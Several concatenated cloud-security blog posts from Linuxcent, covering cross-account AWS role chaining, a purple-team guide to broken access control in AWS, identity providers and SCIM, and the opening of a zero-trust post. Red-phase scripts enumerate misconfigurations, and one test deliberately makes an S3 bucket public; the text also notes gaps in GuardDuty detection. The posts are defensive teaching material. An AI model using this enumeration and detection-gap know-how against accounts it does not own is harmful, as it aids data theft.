Access Analyzer only catches public and cross-account access, not intra-account lateral movement. If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won’t show them.

Role chaining resets the session clock but the window is still one hour. sts:AssumeRole sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated AssumeRole calls in CloudTrail that form a detectable pattern if you’re querying for it.

S3 exfiltration may not trigger GuardDuty immediately. GuardDuty’s Exfiltration:S3/ObjectRead.Unusual finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears “normal” relative to what GuardDuty has seen from that role before. CloudTrail GetObject events are the reliable signal; don’t rely on GuardDuty alone for S3 exfiltration detection.

arn:aws:iam::ACCOUNT:root in a trust policy does not mean the root user specifically. This is a common misread. arn:aws:iam::123456789012:root means any principal in account 123456789012 — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it’s dangerous in a cross-account trust policy.

Quick Reference

Key Takeaways

• Cloud lateral movement IAM chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network
• Every cross-account trust policy that uses arn:aws:iam::ACCOUNT:root as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do
• CloudTrail AssumeRole events where the principal’s account ID doesn’t match the target role’s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back
• AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you’re not running it, you’re auditing trust policies manually or not at all
• IAM privilege escalation paths and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further
• Defense in depth requires all three layers: scoped trust policy principal, ExternalId condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass

What’s Next

EP11 is where the series pivots from attack paths to detection engineering. We’ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?

The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the aws sts assume-role subprocess spawn, the credential file write, and the outbound S3 connection — while it’s happening.

Get EP11 in your inbox when it publishes → subscribe at linuxcent.com

The post Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained appeared first on Linuxcent.

What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025 → Broken access control in AWS

TL;DR

• Broken access control in AWS is OWASP A01 — the most common cloud security failure, covering IAM wildcards, public S3 buckets, and overly broad trust policies
• A public S3 bucket containing 47 million customer records went undetected for six months in an authorized assessment — no GuardDuty finding, no AWS Config alert, because those controls weren’t enabled
• The red phase: three commands to identify public buckets, enumerate IAM over-permissions, and test trust policy abuse — all with read-only access on your own account
• The blue phase: two AWS Config managed rules and one GuardDuty finding type that cover the majority of A01 findings
• The purple phase: deny-based SCPs, bucket public access blocks, and IAM Access Analyzer — structural controls, not monitoring alerts
• Cross-series: IAM privilege escalation paths (IAM EP08) and AWS least privilege audit (IAM EP09) go deeper on the IAM layer

OWASP Mapping: A01 Broken Access Control — primarily. A09 Logging and Monitoring Failures — the six-month detection gap demonstrates A09 as an amplifier of A01.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│              BROKEN ACCESS CONTROL — ATTACK SURFACE                 │
│                                                                     │
│   INTERNET                    AWS ACCOUNT                           │
│                                                                     │
│   Attacker ──────────────▶  S3 bucket (public read)                 │
│                             └── 47M customer records                │
│                                                                     │
│   Attacker ──────────────▶  IAM user with "Action": "*"             │
│   (compromised creds)        └── escalate → admin access            │
│                                                                     │
│   Attacker ──────────────▶  Trust policy: "AWS": "*"                │
│   (any AWS account)          └── assume role from attacker's        │
│                                  account                            │
│                                                                     │
│   ═══════════════════════════════════════════════════════           │
│                                                                     │
│   DETECTION GAPS (A09 amplifying A01):                              │
│   • S3 public access not in AWS Config rules                        │
│   • GuardDuty not enabled                                           │
│   • No IAM Access Analyzer                                          │
│   • No SCP boundary on public bucket creation                       │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Broken access control in AWS is the infrastructure equivalent of OWASP A01: a principal can reach a resource it should not be able to reach, because the access control decision was either not made or made incorrectly. In the cloud context, this manifests as public S3 buckets, IAM policies with wildcard actions and resources, and trust policies that allow any principal rather than a specific, scoped entity.

The Assessment That Changed My Approach to Access Control Auditing

During an authorized assessment, I found an S3 bucket containing 47 million customer records. The bucket name was generic — no obvious PII signal in the name itself. It was created two years prior by an engineer who was troubleshooting a data pipeline and needed temporary public access to share data with an external partner. The partner relationship ended. The bucket access was never reverted.

The bucket had been public for six months at the time I found it. I checked the AWS Config rules: S3 public access was not in the rule set. GuardDuty was enabled but no finding had fired — GuardDuty generates a Policy:S3/BucketAnonymousAccessGranted finding when public access is enabled, but only if the finding is new during GuardDuty’s monitoring window. The bucket went public before GuardDuty was enabled.

No alert ever fired. Not because the tools couldn’t detect it — because the tools weren’t configured to look.

This is A01 amplified by A09. The broken access control is the public bucket. The six-month window is the logging and monitoring failure.

Red Phase: How Broken Access Control Works in Practice

The red team perspective on broken access control starts with enumeration. What can this principal reach that it shouldn’t be able to reach?

Enumerating Public S3 Buckets

aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read bucket; do
    # Check account-level block
    account_block=$(aws s3control get-public-access-block \
      --account-id $(aws sts get-caller-identity --query Account --output text) \
      2>/dev/null | jq -r '.PublicAccessBlockConfiguration.BlockPublicAcls')

    # Check bucket-level policy
    policy=$(aws s3api get-bucket-policy-status --bucket "$bucket" 2>/dev/null | \
      jq -r '.PolicyStatus.IsPublic')

    # Check bucket ACL
    acl=$(aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | \
      jq -r '.Grants[] | select(.Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers") | .Permission')

    if [ "$policy" = "true" ] || [ -n "$acl" ]; then
      echo "PUBLIC BUCKET: $bucket (policy_public=$policy, acl_grants=$acl)"
    fi
  done

Enumerating Overly Permissive IAM Policies

# Find all customer-managed policies with wildcard actions
aws iam list-policies --scope Local --query 'Policies[].Arn' --output text | \
  tr '\t' '\n' | \
  while read arn; do
    version=$(aws iam get-policy --policy-arn "$arn" \
      --query 'Policy.DefaultVersionId' --output text)
    doc=$(aws iam get-policy-version --policy-arn "$arn" --version-id "$version" \
      --query 'PolicyVersion.Document' --output json)

    if echo "$doc" | jq -e '.Statement[] | select(.Effect == "Allow" and .Action == "*")' > /dev/null 2>&1; then
      echo "WILDCARD ACTION POLICY: $arn"
      echo "$doc" | jq '.Statement[] | select(.Effect == "Allow" and .Action == "*")'
    fi
  done

Testing Trust Policy Abuse

# Find IAM roles with overly broad trust policies
# Specifically: trust policies that allow any AWS account or service
aws iam list-roles --query 'Roles[].{Name:RoleName,Arn:Arn}' --output json | \
  jq -r '.[].Arn' | \
  while read role_arn; do
    trust=$(aws iam get-role --role-name "$(basename $role_arn)" \
      --query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)

    # Check for wildcard principals
    if echo "$trust" | jq -e '.Statement[] | select(.Principal == "*")' > /dev/null 2>&1; then
      echo "WILDCARD TRUST PRINCIPAL: $role_arn"
    fi

    # Check for cross-account trust without conditions
    if echo "$trust" | jq -e '.Statement[] | select(.Principal.AWS | type == "string" and test("arn:aws:iam::[0-9]+:root"))' > /dev/null 2>&1; then
      account_in_trust=$(echo "$trust" | jq -r '.Statement[] | .Principal.AWS // empty' | grep -oP '(?<=arn:aws:iam::)[0-9]+')
      current_account=$(aws sts get-caller-identity --query Account --output text)
      if [ "$account_in_trust" != "$current_account" ]; then
        echo "CROSS-ACCOUNT TRUST (verify scope): $role_arn trusts account $account_in_trust"
      fi
    fi
  done

Simulating S3 Exfiltration (on your own bucket — safe test)

# Create a test bucket, make it public, verify it's accessible without credentials
# Do this in a non-production account only

TEST_BUCKET="purple-team-test-$(date +%s)"
aws s3 mb s3://${TEST_BUCKET} --region us-east-1

# Disable the public access block (simulates the misconfiguration)
aws s3api put-public-access-block \
  --bucket "${TEST_BUCKET}" \
  --public-access-block-configuration \
  "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# Add a public-read bucket policy
aws s3api put-bucket-policy --bucket "${TEST_BUCKET}" --policy '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": "*",
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:::'"${TEST_BUCKET}"'/*"
  }]
}'

# Put a test file
echo "PURPLE_TEAM_TEST_DATA" | aws s3 cp - s3://${TEST_BUCKET}/test.txt

# Verify it's accessible without credentials
curl -s "https://${TEST_BUCKET}.s3.amazonaws.com/test.txt"
# Should return: PURPLE_TEAM_TEST_DATA

echo ""
echo "Test complete. Clean up:"
echo "aws s3 rb s3://${TEST_BUCKET} --force"

Blue Phase: What Detection Looks Like

What AWS Config Catches

Two managed rules cover the majority of S3 broken access control findings:

# Enable the S3 public access rules in AWS Config
# (requires Config to already be enabled)

# Rule 1: s3-bucket-public-read-prohibited
aws configservice put-config-rule --config-rule '{
  "ConfigRuleName": "s3-bucket-public-read-prohibited",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
  },
  "Scope": {
    "ComplianceResourceTypes": ["AWS::S3::Bucket"]
  }
}'

# Rule 2: s3-account-level-public-access-blocks-periodic
aws configservice put-config-rule --config-rule '{
  "ConfigRuleName": "s3-account-level-public-access-blocks-periodic",
  "Source": {
    "Owner": "AWS",
    "SourceIdentifier": "S3_ACCOUNT_LEVEL_PUBLIC_ACCESS_BLOCKS_PERIODIC"
  }
}'

# Check current compliance status
aws configservice describe-compliance-by-config-rule \
  --config-rule-names s3-bucket-public-read-prohibited \
  --query 'ComplianceByConfigRules[].{Rule:ConfigRuleName,Compliance:Compliance.ComplianceType}'

What GuardDuty Catches

GuardDuty generates these findings for S3 broken access control:

# Query GuardDuty findings for S3 public access violations
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)

aws guardduty list-findings \
  --detector-id "${DETECTOR_ID}" \
  --finding-criteria '{
    "Criterion": {
      "type": {
        "Equals": ["Policy:S3/BucketAnonymousAccessGranted", "Policy:S3/BucketPublicAccessGranted"]
      }
    }
  }' \
  --query 'FindingIds' --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id "${DETECTOR_ID}" \
    --finding-ids | \
  jq '.Findings[] | {type: .Type, bucket: .Resource.S3BucketDetails[0].Name, severity: .Severity}'

What IAM Access Analyzer Catches

IAM Access Analyzer continuously analyzes resource policies for external access — S3 buckets, IAM roles, KMS keys, SQS queues, Lambda functions. It generates a finding any time a resource policy grants access to a principal outside the AWS account (or AWS Organization boundary).

# Enable IAM Access Analyzer for the account
aws accessanalyzer create-analyzer \
  --analyzer-name "account-access-analyzer" \
  --type ACCOUNT

# List all active findings (external access granted)
aws accessanalyzer list-findings \
  --analyzer-arn $(aws accessanalyzer list-analyzers --query 'analyzers[0].arn' --output text) \
  --filter '{"status": {"eq": ["ACTIVE"]}}' \
  --query 'findings[].{Resource:resource,Principal:principal,Action:action}' \
  --output table

What the CloudTrail Event Looks Like

When an anonymous user accesses a public S3 object:

{
  "eventVersion": "1.09",
  "userIdentity": {
    "type": "AWSAccount",
    "accountId": "ANONYMOUS_PRINCIPAL",  
    "principalId": "ANONYMOUS_PRINCIPAL"
  },
  "eventTime": "2024-03-15T02:47:00Z",
  "eventSource": "s3.amazonaws.com",
  "eventName": "GetObject",
  "requestParameters": {
    "bucketName": "your-bucket-name",
    "key": "customer-data/records.csv"
  },
  "sourceIPAddress": "198.51.100.1",
  "userAgent": "python-requests/2.28.0"
}

The signal: userIdentity.type = "AWSAccount" with accountId = "ANONYMOUS_PRINCIPAL" on a GetObject event. This is a read from an anonymous, unauthenticated principal.

# CloudTrail Insights query (Athena) to find anonymous S3 GetObject events
# Assumes CloudTrail S3 data events are enabled for the bucket

SELECT
  eventTime,
  sourceIPAddress,
  requestParameters.bucketName,
  requestParameters.key,
  userIdentity.type,
  userIdentity.accountId
FROM cloudtrail_logs
WHERE
  eventName = 'GetObject'
  AND userIdentity.type = 'AWSAccount'
  AND userIdentity.accountId = 'ANONYMOUS_PRINCIPAL'
  AND eventTime > current_timestamp - interval '7' day
ORDER BY eventTime DESC
LIMIT 100;

Purple Phase: The Structural Fix

Detection catches broken access control after the fact. The structural fix prevents it from being possible.

Fix 1: Account-Level S3 Public Access Block

This is a single setting that prevents any bucket in the account from becoming public — regardless of bucket policy or ACL. It overrides bucket-level settings.

# Enable account-level S3 public access block
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
  "BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true"

# Verify
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text)

Fix 2: SCP to Prevent Disabling the Public Access Block

An SCP (Service Control Policy) at the AWS Organizations level that prevents any account from disabling the public access block — even an account administrator.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyS3PublicAccessBlockDisable",
      "Effect": "Deny",
      "Action": [
        "s3:PutBucketPublicAccessBlock",
        "s3:DeletePublicAccessBlock"
      ],
      "Resource": "*",
      "Condition": {
        "ArnNotLike": {
          "aws:PrincipalArn": "arn:aws:iam::*:role/s3-public-access-exception-role"
        }
      }
    }
  ]
}

# Apply the SCP to your organizational unit
aws organizations create-policy \
  --name "DenyS3PublicAccessBlockDisable" \
  --type SERVICE_CONTROL_POLICY \
  --content file://scp-deny-s3-public-access.json \
  --description "Prevents disabling S3 public access block at account level"

Fix 3: IAM Policy Cleanup — Remove Wildcards

For IAM policies with wildcard actions, the fix is least-privilege replacement. This is not a quick operation — it requires analyzing actual usage and scoping to what is actually needed.

# Use IAM Access Analyzer policy generation to generate a least-privilege policy
# based on actual CloudTrail activity for a role
aws accessanalyzer start-policy-generation \
  --policy-generation-details '{
    "principalArn": "arn:aws:iam::123456789012:role/your-role-name"
  }' \
  --cloud-trail-details '{
    "accessRole": "arn:aws:iam::123456789012:role/access-analyzer-cloudtrail-role",
    "trailProperties": [{
      "cloudTrailArn": "arn:aws:cloudtrail:us-east-1:123456789012:trail/your-trail",
      "regions": ["us-east-1", "us-west-2"],
      "allRegions": false
    }],
    "startTime": "2024-01-01T00:00:00Z",
    "endTime": "2024-03-01T00:00:00Z"
  }'

# Retrieve the generated policy
JOB_ID="<returned-job-id>"
aws accessanalyzer get-generated-policy --job-id "${JOB_ID}"

For a systematic audit approach, the AWS least privilege audit process in IAM EP09 covers how to move from wildcard policies to scoped permissions methodically across a multi-account environment.

Fix 4: IAM Access Analyzer with Automated Archiving

# Create an archive rule for known-good cross-account access
# (prevents alert fatigue from legitimate cross-account patterns)
aws accessanalyzer create-archive-rule \
  --analyzer-name "account-access-analyzer" \
  --rule-name "archive-legitimate-cross-account" \
  --filter '{
    "principal.AWS": {
      "contains": ["arn:aws:iam::111122223333:role/legitimate-cross-account-role"]
    }
  }'

Run This in Your Own Environment: A01 Audit

Run this in any AWS account you own or have read-only access to audit:

#!/bin/bash
# Purple Team EP04 — Broken Access Control (A01) Audit
# Safe to run with read-only IAM permissions

ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
echo "Auditing account: ${ACCOUNT}"
echo "==============================="

echo ""
echo "[A01-1] S3 Account-Level Public Access Block"
aws s3control get-public-access-block --account-id "${ACCOUNT}" 2>/dev/null || \
  echo "  FINDING: Account-level public access block not configured"

echo ""
echo "[A01-2] S3 Buckets with Public Access"
aws s3api list-buckets --query 'Buckets[].Name' --output text | tr '\t' '\n' | \
  while read bucket; do
    status=$(aws s3api get-bucket-policy-status --bucket "$bucket" 2>/dev/null | \
      jq -r '.PolicyStatus.IsPublic // "false"')
    if [ "$status" = "true" ]; then
      echo "  FINDING: Public bucket: $bucket"
    fi
  done

echo ""
echo "[A01-3] IAM Roles with Wildcard Trust Policies"
aws iam list-roles --query 'Roles[].RoleName' --output text | tr '\t' '\n' | head -50 | \
  while read role; do
    trust=$(aws iam get-role --role-name "$role" \
      --query 'Role.AssumeRolePolicyDocument.Statement' 2>/dev/null)
    if echo "$trust" | jq -e '.[] | select(.Principal == "*")' > /dev/null 2>&1; then
      echo "  FINDING: Wildcard trust principal in role: $role"
    fi
  done

echo ""
echo "[A01-4] IAM Access Analyzer — Active External Access Findings"
ANALYZER=$(aws accessanalyzer list-analyzers --query 'analyzers[0].arn' --output text 2>/dev/null)
if [ -z "$ANALYZER" ]; then
  echo "  FINDING: IAM Access Analyzer not enabled"
else
  aws accessanalyzer list-findings \
    --analyzer-arn "${ANALYZER}" \
    --filter '{"status": {"eq": ["ACTIVE"]}}' \
    --query 'findings[].{Resource:resource,Type:resourceType}' \
    --output table
fi

Common Mistakes When Fixing Broken Access Control in AWS

Fixing the symptom at the bucket level without the account-level block. If you set RestrictPublicBuckets=true on individual buckets but leave the account-level block unset, the next bucket created by another engineer starts with public access possible again. The account-level block is the structural control; the bucket-level setting is defense-in-depth.

Not enabling CloudTrail S3 data events. CloudTrail management events capture bucket creation and policy changes. They do not capture GetObject and PutObject by default — that requires enabling S3 data events, which adds cost. Without data events, you cannot see who accessed what in a public bucket. If you can’t afford data events on all buckets, enable them on buckets containing sensitive data.

Treating IAM Access Analyzer findings as one-time. Access Analyzer runs continuously. A new resource policy that grants external access generates a new finding. If you archive findings without fixing the underlying policy, you lose visibility. Archive only findings that represent intentional, documented cross-account access.

Confusing “no GuardDuty findings” with “no problem.” GuardDuty’s Policy:S3/BucketAnonymousAccessGranted only fires when access is newly granted during GuardDuty’s monitoring window. A bucket that was made public before GuardDuty was enabled will not generate a finding — GuardDuty does not retroactively scan all bucket policies. Use AWS Config for retroactive compliance checks; use GuardDuty for real-time detection of new violations.

For the full IAM attack chain that broken access control enables — including IAM privilege escalation paths via iam:PassRole — see IAM series EP08. The privilege escalation analysis belongs alongside the access control audit.

Quick Reference

Key Takeaways

• Broken access control in AWS (OWASP A01) is the most common cloud security failure — IAM wildcards, public S3, and broad trust policies are the three primary manifestations
• A public S3 bucket with 47 million records was active for six months without a single alert — because the detection controls (AWS Config rules, GuardDuty) weren’t enabled to look for it
• The structural fix is the account-level S3 public access block enforced by SCP — detection tools catch violations; the SCP prevents the violation from being possible
• IAM Access Analyzer provides continuous visibility into every resource that grants external access — enable it in every account
• The red phase can be run with read-only permissions against your own account — the audit script above reveals your current A01 exposure in under five minutes
• Fixing A01 without enabling the A09 controls (CloudTrail data events, GuardDuty, AWS Config) leaves you blind to whether the fix is working
• Use Access Analyzer’s policy generation feature to move from wildcard policies to least-privilege without guessing

What’s Next

EP05 covers MFA fatigue attacks — how the Uber and Okta breaches worked at the authentication layer, how to simulate push-notification fatigue in a test environment, and the structural fix: phishing-resistant MFA using FIDO2 hardware keys. The identity layer is where most cloud compromises start — understanding how push MFA fails is the prerequisite for knowing why hardware keys are the only structural answer.

Get EP05 in your inbox when it publishes → subscribe at linuxcent.com

The post Broken Access Control in AWS: From Misconfigured S3 to Admin appeared first on Linuxcent.

The Identity Stack, Episode 11
EP10: SAML/OIDC → EP11 → EP12: Entra ID + Linux → …

TL;DR

• An Identity Provider (IdP) is the system that authenticates users and issues identity assertions (SAML assertions, OIDC tokens) to applications
• On-prem IdPs: AD FS (Microsoft), Shibboleth (universities), Keycloak (open source), Ping Identity — they sit in front of AD and speak SAML/OIDC to cloud apps
• Cloud IdPs: Okta, Entra ID (Azure AD), Google Workspace, Ping Identity Cloud — they are the directory and the authentication layer in one
• Federation: IdPs can trust each other — a corporate IdP can delegate to a cloud IdP, or federate with a partner org’s IdP
• SCIM (System for Cross-domain Identity Management) is provisioning, not authentication — it creates/updates/deactivates user accounts in target systems when the source directory changes
• The key distinction: federation (authentication flow) vs directory sync (data copy) — they solve different problems and are often deployed together

The Big Picture: Where IdPs Sit

                        On-prem Directory
                        (Active Directory / OpenLDAP / FreeIPA)
                               │
                               │ LDAP / Kerberos
                               ▼
                         Identity Provider
                         ┌──────────────────────────────────┐
                         │  AD FS / Keycloak / Okta /       │
                         │  Entra ID Connect / Shibboleth   │
                         │                                  │
                         │  Speaks: SAML 2.0 + OIDC + OAuth2│
                         └────────────────┬─────────────────┘
                                          │ assertions / tokens
                      ┌───────────────────┼───────────────────┐
                      ▼                   ▼                   ▼
               Salesforce          GitHub Enterprise      AWS IAM
               (SAML SP)           (OIDC RP)              (OIDC)

EP10 covered the protocols. This episode covers the systems — what an IdP actually does, how the major ones differ, and how they connect to each other through federation and SCIM.

On-Premises Identity Providers

AD FS (Active Directory Federation Services)

AD FS is Microsoft’s on-prem federation server — a Windows Server role that sits in front of Active Directory and speaks SAML 2.0 and OIDC to external applications.

What it does:
– Authenticates users against AD (Kerberos/LDAP behind the scenes)
– Issues SAML assertions and OIDC tokens to external SPs
– Handles claims transformation: maps AD attributes to what the SP expects

What it doesn’t do well:
– It’s Windows Server only
– Configuration is complex (XML, certificates, claim rule language)
– No built-in MFA (requires Azure MFA or a third-party provider)
– Being deprecated in favor of Entra ID for most use cases

AD FS made sense when everything was on-prem. As workloads move to cloud, Entra ID Connect (a lighter sync agent) combined with Entra ID as the IdP replaces AD FS for most enterprises.

Keycloak

Keycloak is the open-source IdP from Red Hat. It’s what FreeIPA uses for web-based OIDC/SAML SSO, and it’s widely deployed independently for organizations that want full control over their identity infrastructure.

# Run Keycloak in development mode (Docker)
docker run -p 8080:8080 \
  -e KEYCLOAK_ADMIN=admin \
  -e KEYCLOAK_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:latest \
  start-dev

# Keycloak concepts:
# Realm     — an isolated namespace (like a tenant)
# Client    — an application that uses Keycloak for auth (SP/RP)
# User federation — connect Keycloak to an existing LDAP/AD directory
# Identity brokering — federate with external IdPs (Google, GitHub, another SAML IdP)

Keycloak reads users from AD/LDAP via its User Federation feature — it doesn’t replace the directory, it federates it. Users still live in AD; Keycloak issues SAML/OIDC tokens based on those users.

Shibboleth

Shibboleth is the dominant IdP in academia. Most universities run it. It’s SAML-native, designed for federation between institutions — a student can authenticate at their home university’s IdP and access resources at a partner institution.

Cloud Identity Providers

Okta

Okta is a cloud IdP + directory. It can:
– Act as the primary user directory (storing users, credentials)
– Connect to on-prem AD via the Okta Active Directory Agent (a lightweight sync service)
– Federate with other IdPs (act as IdP or SP in a SAML/OIDC chain)
– Enforce MFA, Adaptive Authentication, Device Trust

Okta’s Lifecycle Management handles provisioning: when a user is created/disabled in Okta (or synced from AD), Okta can automatically create/deactivate accounts in downstream SaaS apps — via SCIM or app-specific APIs.

Entra ID (Azure Active Directory)

Entra ID is Microsoft’s cloud IdP. It’s both a directory (stores users, groups) and an IdP (issues tokens). For organizations running on-prem AD, Entra ID Connect syncs users from AD to Entra ID.

Entra ID is OIDC and OAuth2 native — it speaks SAML for legacy apps but JWT/OIDC for everything modern. Its OIDC implementation follows the standard closely; its token validation happens via /.well-known/openid-configuration and the JWKS endpoint.

On-prem AD  →  Entra ID Connect (sync agent)  →  Entra ID (cloud)
                                                      │
                                              SAML / OIDC
                                                      │
                                            SaaS apps, Azure resources

Google Workspace

Google Workspace is Google’s combined directory + IdP. Google accounts are the users. Apps integrate via SAML or OIDC. Google’s OIDC implementation is one of the most widely used reference implementations — most OIDC libraries are tested against it.

Federation: IdPs Trusting Each Other

Federation is the mechanism that lets IdPs delegate to each other. Two patterns:

SAML Federation (IdP-to-IdP)

Common in academia and partner integrations:

User at University A → requests resource at University B
                              │
                              │ doesn't know user
                              ▼
                    University B SP redirects to...
                    Discovery Service: "which IdP are you from?"
                              │
                              ▼
                    University A IdP authenticates user
                              │
                    Sends SAML assertion to University B SP

University B’s SP trusts University A’s IdP because both are members of a SAML federation (e.g., InCommon in the US, eduGAIN globally). The federation metadata aggregates all members’ SAML metadata — certificates, endpoints — so members don’t have to manually configure each bilateral trust.

OIDC Identity Brokering

Keycloak, Okta, and Entra ID can all act as identity brokers — they sit between the application and the actual authenticating IdP:

App (OIDC RP) → Keycloak (broker IdP) → Google / GitHub / SAML IdP
                                               │ authenticate
                                               ▼
                                      Keycloak receives assertion
                                      Maps external claims to local claims
                                      Issues OIDC token to app

The app only knows Keycloak. Keycloak handles the upstream IdP complexity.

SCIM: Provisioning ≠ Authentication

SCIM (RFC 7644) is a REST API standard for user lifecycle management — creating, updating, and deactivating user accounts in a target system when changes happen in the source directory.

Source (Okta / Entra ID)           Target (Slack / GitHub / Jira)
         │                                    │
         │  SCIM 2.0 (REST + JSON)            │
         ├─ POST /Users  ─────────────────────► create user
         ├─ PATCH /Users/id ──────────────────► update attributes
         └─ DELETE /Users/id ─────────────────► deactivate account

SCIM is not SSO. A SCIM-provisioned user in Slack can log in to Slack — but the authentication still goes through the IdP (SAML/OIDC). SCIM ensures the account exists. The IdP proves the user’s identity.

Why both? Because SSO alone doesn’t create accounts in target systems — it just authenticates to them. If a user tries to log in to Slack for the first time via SSO, Slack needs an account to map them to. SCIM creates that account before the first login (Just-in-Time provisioning handles it at first login, but SCIM handles it in bulk and handles deprovisioning reliably).

Deprovisioning is where SCIM matters most. When an employee leaves, you disable them in Okta — SCIM deactivates their account in every connected app within minutes. Without SCIM, IT runs a manual checklist. Someone misses Jira. The ex-employee has access for three weeks.

Directory Sync vs Federation

These are commonly confused:

Directory sync — copy user data from source to target. Entra ID Connect copies users from on-prem AD to Entra ID. This is not authentication; it’s data replication. After sync, Entra ID has its own copy of the user record.

Federation — delegate authentication to an external IdP. The target system doesn’t store credentials; it redirects to the IdP for authentication and trusts the assertion that comes back.

You often need both:
– Sync: so the target system has the user record and can enforce policies (group membership, license assignment)
– Federation: so the user authenticates against the source of truth (your IdP) rather than maintaining a separate password in every system

Common Misconceptions

“SCIM is an authentication protocol.” SCIM is a provisioning protocol. It creates and manages accounts. Authentication is SAML/OIDC. Both solve different parts of the identity lifecycle problem.

“SSO means you only have one password.” SSO means you only authenticate once per session. The password still exists (at the IdP). SSO reduces the number of authentication events, not the number of credentials.

“On-prem IdP + cloud sync is the same as a cloud IdP.” With on-prem IdP + cloud sync (e.g., AD + Entra ID Connect), authentication happens via the on-prem IdP — if it goes down, cloud SSO breaks. A pure cloud IdP (Okta standalone, Entra ID without on-prem AD) authenticates entirely in the cloud.

Framework Alignment

Key Takeaways

• An IdP authenticates users and issues assertions (SAML) or tokens (OIDC/OAuth2) — applications trust the IdP, not the user directly
• On-prem: AD FS (Windows/legacy), Keycloak (open source, flexible), Shibboleth (academia)
• Cloud: Okta (cloud-native, strong lifecycle management), Entra ID (Microsoft-integrated), Google Workspace
• Federation = authentication delegation between IdPs; Directory sync = data replication; SCIM = account lifecycle (provisioning/deprovisioning)
• SCIM deprovisioning is the critical control — it ensures ex-employees lose access automatically across all connected systems

What’s Next

EP11 covered the IdP landscape. EP12 gets specific: Entra ID and Linux — how you configure a Linux VM to accept SSH logins authenticated against Azure AD credentials, and how the aad-auth / pam_aad stack works end to end.

Next: Entra ID Linux Login: SSH Authentication with Azure AD Credentials

Get EP12 in your inbox when it publishes → linuxcent.com/subscribe

The post Identity Providers Explained: On-Prem, Cloud, SCIM, and Federation appeared first on Linuxcent.

What Is Cloud IAM → Authentication vs Authorization → IAM Roles vs Policies → AWS IAM Deep Dive → GCP Resource Hierarchy IAM → Azure RBAC Scopes → OIDC Workload Identity → AWS IAM Privilege Escalation → AWS Least Privilege Audit → SAML vs OIDC Federation → Kubernetes RBAC and AWS IAM → Zero Trust Access in the Cloud

TL;DR

• Zero Trust: trust nothing implicitly, verify everything explicitly, minimize blast radius by assuming you will be breached
• Network location is not identity — VPN is authentication for the tunnel, not authorization for the resource
• JIT privilege elevation removes standing admin access: engineers request elevation for a specific purpose, scoped to a specific duration
• Device posture is an access signal — a compromised endpoint with valid credentials is still a threat; Conditional Access gates on device compliance
• Continuous session validation re-evaluates signals throughout the session — device falls out of compliance, sessions revoke in minutes, not at expiry
• The highest-ROI early moves: eliminate machine static credentials, enforce MFA on all human access, federate to a single IdP

The Big Picture

  ZERO TRUST IAM — EVERY REQUEST EVALUATED INDEPENDENTLY

  API call arrives
         │
         ▼
  Identity verified? ──── No ────► DENY
         │
        Yes
         │
         ▼
  Device compliant? ───── No ────► DENY (or step-up MFA)
         │
        Yes
         │
         ▼
  Policy allows this  ─── No ────► DENY
  action on this ARN?
         │
        Yes
         │
         ▼
  Conditions met? ─────── No ────► DENY
  (time, IP, MFA age,              (e.g., outside business hours,
   risk score, session)             impossible travel detected)
         │
        Yes
         │
         ▼
       ALLOW ──────────────────────► LOG every decision (allow and deny)
         │
         └── Continuous re-evaluation:
             device state changes → revoke
             anomaly detected → revoke or step-up
             credential age → require re-auth

Introduction

The perimeter model of network security made a bet: inside the network is trusted, outside is not. Lock down the perimeter tightly enough and you’re safe. VPN in, and you’re one of us.

I grew up professionally in that model. Firewalls, DMZs, trusted zones. The idea had intuitive appeal — you build walls, you control what crosses them. For a while it worked reasonably well.

Then I watched it fail, repeatedly, in ways that were predictable in hindsight. An engineer’s laptop gets compromised at a coffee shop. They VPN in. Now the attacker is “inside.” A contractor account gets phished. They have valid Active Directory credentials. They’re inside. A cloud service gets misconfigured and exposes a management interface. There’s no perimeter for that to be inside of.

